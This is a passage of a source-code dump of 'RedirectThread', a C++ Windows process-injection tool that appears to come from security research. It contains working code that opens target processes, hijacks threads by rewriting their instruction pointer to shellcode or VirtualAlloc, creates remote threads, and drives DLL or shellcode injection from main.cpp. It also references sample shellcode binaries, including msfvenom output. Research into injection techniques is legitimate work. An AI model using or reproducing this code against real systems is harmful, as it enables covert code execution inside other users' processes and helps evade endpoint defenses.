lower-level function. Consider if InjectShellcodeUsingNtCreateThread is more appropriate. 25 | bool CreateThreadViaNtCreateThread(HANDLE hProcess, LPVOID functionAddress, DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4, SIZE_T stackSize = 1024 * 1024); 26 | 27 | // Allocates memory in the remote process using NtCreateThread technique (potentially via a helper thread). 28 | // Note: This seems unused in the current flow, might be legacy or for a different approach. 29 | LPVOID AllocateMemoryViaNtCreateThread(HANDLE hProcess, DWORD64 baseAddress, SIZE_T size, DWORD allocType, DWORD protect); 30 | 31 | // Copies memory to the remote process using NtCreateThread technique (potentially via a helper thread). 32 | // Note: This seems unused in the current flow, might be legacy or for a different approach. 33 | bool PerformRemoteMemoryCopyViaNtCreateThread(HANDLE processHandle, LPVOID memCopyAddress, DWORD64 destinationAddress, const unsigned char *sourceData, size_t dataSize); 34 | 35 | // Executes shellcode in the remote process using NtCreateThread technique (potentially via a helper thread). 36 | // Note: This seems unused in the current flow, might be legacy or for a different approach. 37 | bool ExecuteShellcodeViaNtCreateThread(HANDLE processHandle, LPVOID shellcodeAddress); 38 | 39 | // High-level function to inject shellcode using the NtCreateThread method. 40 | // This likely orchestrates allocation, copying, and execution via NtCreateThread. 41 | bool InjectShellcodeUsingNtCreateThread(HANDLE hProcess, const std::vector &shellcodeBytes, SIZE_T allocSize, DWORD allocPerm, bool verbose); 42 | -------------------------------------------------------------------------------- /RedirectThread/ProcessThread.cpp: -------------------------------------------------------------------------------- 1 | #include "ProcessThread.h" 2 | #include // For std::cerr, std::cout 3 | 4 | HANDLE OpenTargetProcess(DWORD pid) 5 | { 6 | DWORD desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE; 7 | HANDLE hProcess = OpenProcess(desiredAccess, FALSE, pid); 8 | if (!hProcess) 9 | { 10 | std::cerr << "[!] Failed to open target process. Error: " << GetLastError() << "\n"; 11 | return NULL; 12 | } 13 | std::cout << "[*] Opened target process (PID=" << pid << ")\n"; 14 | return hProcess; 15 | } 16 | 17 | HANDLE OpenTargetThread(DWORD tid) 18 | { 19 | // THREAD_SET_CONTEXT is required for QueueUserAPC 20 | // THREAD_QUERY_INFORMATION might be useful for debugging/verification later 21 | DWORD desiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION; 22 | HANDLE hThread = OpenThread(desiredAccess, FALSE, tid); 23 | if (!hThread) 24 | { 25 | std::cerr << "[!] Failed to open target thread (TID=" << tid << "). Error: " << GetLastError() << "\n"; 26 | return NULL; 27 | } 28 | std::cout << "[*] Opened target thread (TID=" << tid << ")\n"; 29 | return hThread; 30 | } 31 | 32 | HANDLE CreateRemoteSleepThread(HANDLE hProcess, LPVOID pSleepLocal) 33 | { 34 | HANDLE hThread = CreateRemoteThread( 35 | hProcess, 36 | NULL, 37 | 0, 38 | (LPTHREAD_START_ROUTINE)pSleepLocal, 39 | (LPVOID)5000, 40 | 0, 41 | NULL); 42 | if (!hThread) 43 | { 44 | std::cerr << "[!] Failed to CreateRemoteThread. Error: " << GetLastError() << "\n"; 45 | return NULL; 46 | } 47 | DWORD tid = GetThreadId(hThread); 48 | std::cout << "[*] Created remote thread (TID=" << tid << "). Sleeping for 5s.\n"; 49 | return hThread; 50 | } 51 | 52 | bool HijackThreadToLoop(HANDLE hThread, LPVOID pInfiniteLoopGadget, bool useSuspend) 53 | { 54 | bool suspended = false; 55 | if (useSuspend) 56 | { 57 | std::cout << "[*] Suspending thread...\n"; 58 | if (SuspendThread(hThread) != (DWORD)-1) 59 | { 60 | suspended = true; 61 | } 62 | else 63 | { 64 | std::cerr << "[!] SuspendThread failed. Error: " << GetLastError() << "\n"; 65 | return false; 66 | } 67 | } 68 | 69 | CONTEXT ctx = {0}; 70 | ctx.ContextFlags = CONTEXT_CONTROL; 71 | if (!GetThreadContext(hThread, &ctx)) 72 | { 73 | std::cerr << "[!] GetThreadContext failed. Error: " << GetLastError() << "\n"; 74 | if (suspended) 75 | ResumeThread(hThread); 76 | return false; 77 | } 78 | 79 | ctx.Rip = (DWORD_PTR)pInfiniteLoopGadget; 80 | if (!SetThreadContext(hThread, &ctx)) 81 | { 82 | std::cerr << "[!] SetThreadContext failed. Error: " << GetLastError() << "\n"; 83 | if (suspended) 84 | ResumeThread(hThread); 85 | return false; 86 | } 87 | 88 | if (suspended) 89 | { 90 | std::cout << "[*] Resuming thread...\n"; 91 | ResumeThread(hThread); 92 | } 93 | return true; 94 | } 95 | 96 | bool HijackThreadToVirtualAlloc(HANDLE hThread, LPVOID pVirtualAllocLocal, SIZE_T allocSize, DWORD allocPerm, bool useSuspend) 97 | { 98 | bool suspended = false; 99 | if (useSuspend) 100 | { 101 | std::cout << "[*] Suspending thread...\n"; 102 | if (SuspendThread(hThread) != (DWORD)-1) 103 | { 104 | suspended = true; 105 | } 106 | else 107 | { 108 | std::cerr << "[!] SuspendThread failed. Error: " << GetLastError() << "\n"; 109 | return false; 110 | } 111 | } 112 | 113 | CONTEXT ctx = {0}; 114 | ctx.ContextFlags = CONTEXT_CONTROL; 115 | if (!GetThreadContext(hThread, &ctx)) 116 | { 117 | std::cerr << "[!] GetThreadContext failed. Error: " << GetLastError() << "\n"; 118 | if (suspended) 119 | ResumeThread(hThread); 120 | return false; 121 | } 122 | 123 | ctx.Rip = (DWORD_PTR)pVirtualAllocLocal; 124 | ctx.Rcx = 0; // lpAddress 125 | ctx.Rdx = allocSize; // dwSize 126 | ctx.R8 = MEM_COMMIT | MEM_RESERVE; // flAllocationType 127 | ctx.R9 = allocPerm; // flProtect 128 | 129 | if (!SetThreadContext(hThread, &ctx)) 130 | { 131 | std::cerr << "[!] SetThreadContext failed. Error: " << GetLastError() << "\n"; 132 | if (suspended) 133 | ResumeThread(hThread); 134 | return false; 135 | } 136 | 137 | if (suspended) 138 | { 139 | std::cout << "[*] Resuming thread...\n"; 140 | ResumeThread(hThread); 141 | } 142 | return true; 143 | } 144 | 145 | bool HijackThreadToShellcode(HANDLE hThread, LPVOID pShellcodeAddr, bool useSuspend) 146 | { 147 | bool suspended = false; 148 | if (useSuspend) 149 | { 150 | std::cout << "[*] Suspending thread...\n"; 151 | if (SuspendThread(hThread) != (DWORD)-1) 152 | { 153 | suspended = true; 154 | } 155 | else 156 | { 157 | std::cerr << "[!] SuspendThread failed. Error: " << GetLastError() << "\n"; 158 | return false; 159 | } 160 | } 161 | 162 | CONTEXT ctx = {0}; 163 | ctx.ContextFlags = CONTEXT_CONTROL; 164 | if (!GetThreadContext(hThread, &ctx)) 165 | { 166 | std::cerr << "[!] GetThreadContext failed. Error: " << GetLastError() << "\n"; 167 | if (suspended) 168 | ResumeThread(hThread); 169 | return false; 170 | } 171 | 172 | ctx.Rip = (DWORD_PTR)pShellcodeAddr; 173 | 174 | if (!SetThreadContext(hThread, &ctx)) 175 | { 176 | std::cerr << "[!] SetThreadContext failed. Error: " << GetLastError() << "\n"; 177 | if (suspended) 178 | ResumeThread(hThread); 179 | return false; 180 | } 181 | 182 | if (suspended) 183 | { 184 | std::cout << "[*] Resuming thread...\n"; 185 | ResumeThread(hThread); 186 | } 187 | return true; 188 | } 189 | -------------------------------------------------------------------------------- /RedirectThread/ProcessThread.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN 4 | #include 5 | #include // For error reporting if needed 6 | 7 | // --- Process and Thread Manipulation Function Declarations --- 8 | 9 | // Opens the target process with appropriate access rights. 10 | HANDLE OpenTargetProcess(DWORD pid); 11 | 12 | // Opens the target thread with appropriate access rights for APC queuing. 13 | HANDLE OpenTargetThread(DWORD tid); 14 | 15 | // Creates a remote thread that simply calls Sleep. (Purpose might need clarification) 16 | HANDLE CreateRemoteSleepThread(HANDLE hProcess, LPVOID pSleepLocal); 17 | 18 | // Hijacks an existing thread to execute an infinite loop gadget. 19 | bool HijackThreadToLoop(HANDLE hThread, LPVOID pInfiniteLoopGadget, bool useSuspend); 20 | 21 | // Hijacks an existing thread to call VirtualAlloc. 22 | bool HijackThreadToVirtualAlloc(HANDLE hThread, LPVOID pVirtualAllocLocal, SIZE_T allocSize, DWORD allocPerm, bool useSuspend); 23 | 24 | // Hijacks an existing thread to execute shellcode at a given address. 25 | bool HijackThreadToShellcode(HANDLE hThread, LPVOID pShellcodeAddr, bool useSuspend); 26 | -------------------------------------------------------------------------------- /RedirectThread/RedirectThread.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include // For std::find 12 | 13 | // Include separated definitions 14 | #include "Arguments.h" 15 | #include "NativeAPI.h" 16 | #include "GadgetUtil.h" 17 | #include "NtCreateThreadUtil.h" 18 | #include "ProcessThread.h" 19 | #include "Injection.h" // Include core injection logic declarations 20 | 21 | -------------------------------------------------------------------------------- /RedirectThread/RedirectThread.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 17.0 15 | Win32Proj 16 | {8A4B5C6D-7E8F-9012-3456-789ABCDEF012} 17 | RedirectThread 18 | 10.0 19 | 20 | 21 | 22 | Application 23 | true 24 | v143 25 | 26 | Unicode 27 | 28 | 29 | Application 30 | false 31 | v143 32 | 33 | true 34 | Unicode 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | Level3 51 | true 52 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 53 | true 54 | 55 | 56 | Console 57 | true 58 | 59 | 60 | 61 | 62 | Level3 63 | true 64 | true 65 | true 66 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 67 | true 68 | 69 | 70 | Console 71 | true 72 | true 73 | true 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /RedirectThread/RedirectThread.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | Source Files 50 | 51 | 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files 61 | 62 | 63 | Header Files 64 | 65 | 66 | Header Files 67 | 68 | 69 | Header Files 70 | 71 | 72 | Header Files 73 | 74 | 75 | Header Files 76 | 77 | 78 | Header Files 79 | 80 | 81 | Header Files 82 | 83 | 84 | Header Files 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /RedirectThread/main.cpp: -------------------------------------------------------------------------------- 1 | #include "Arguments.h" // For ParseArguments, PrintConfiguration, print_usage, InjectionConfig 2 | #include "NativeAPI.h" // For LoadNativeAPIs, pNtCreateThread 3 | #include "NtCreateThreadUtil.h" // For EnableDebugPrivilege 4 | #include "Injection.h" // For InjectDllPointerOnly, InjectShellcodeContext 5 | #include "Helpers.h" 6 | 7 | int main(int argc, char *argv[]) 8 | { 9 | if (argc <= 1) 10 | { 11 | print_usage(argv[0]); // From Arguments.h 12 | return 1; 13 | } 14 | 15 | // Load Native APIs early 16 | if (!LoadNativeAPIs()) 17 | { 18 | std::cerr << "[!] Warning: Failed to load some required native APIs. Certain methods may fail." << std::endl; 19 | } 20 | 21 | InjectionConfig config; 22 | if (!ParseArguments(argc, argv, config)) 23 | { 24 | print_usage(argv[0]); 25 | return 1; 26 | } 27 | 28 | // Print effective settings using the dedicated function 29 | PrintConfiguration(config); 30 | 31 | // Validate target process 32 | if (!ValidateTargetProcess(config.targetPid, config.verbose)) 33 | { 34 | std::cerr << "[!] Target process validation failed." << std::endl; 35 | return 1; 36 | } 37 | // Validate target thread if applicable 38 | if (config.method != DeliveryMethod::CREATETHREAD && config.method != DeliveryMethod::NTCREATETHREAD && config.targetTid == 0 && !ValidateTargetThread(config.targetTid, config.verbose)) 39 | { 40 | std::cerr << "[!] Target thread validation failed." << std::endl; 41 | return 1; 42 | } 43 | 44 | std::cout << "\n[*] Starting injection process...\n" 45 | << std::endl; 46 | 47 | bool success = false; 48 | switch (config.mode) 49 | { 50 | case InjectionMode::DLL_POINTER: 51 | success = InjectDllPointerOnly(config); 52 | break; 53 | case InjectionMode::SHELLCODE: 54 | success = Inject(config); 55 | break; 56 | 57 | default: 58 | std::cerr << "[!] Invalid injection mode." << std::endl; 59 | return 1; 60 | } 61 | 62 | if (success) 63 | { 64 | std::cout << "\n[+] Injection successful!" << std::endl; 65 | return 0; 66 | } 67 | else 68 | { 69 | std::cerr << "\n[!] Injection failed." << std::endl; 70 | return 1; 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /ShellcodeExamples/sRDI-dll-cmd-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Friends-Security/RedirectThread/e1c5ab77e996a8def078efc0cedbe67bb7f639f7/ShellcodeExamples/sRDI-dll-cmd-shellcode.bin -------------------------------------------------------------------------------- /ShellcodeExamples/w10-x64-calc-shellcode-msfvenom.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Friends-Security/RedirectThread/e1c5ab77e996a8def078efc0cedbe67bb7f639f7/ShellcodeExamples/w10-x64-calc-shellcode-msfvenom.bin --------------------------------------------------------------------------------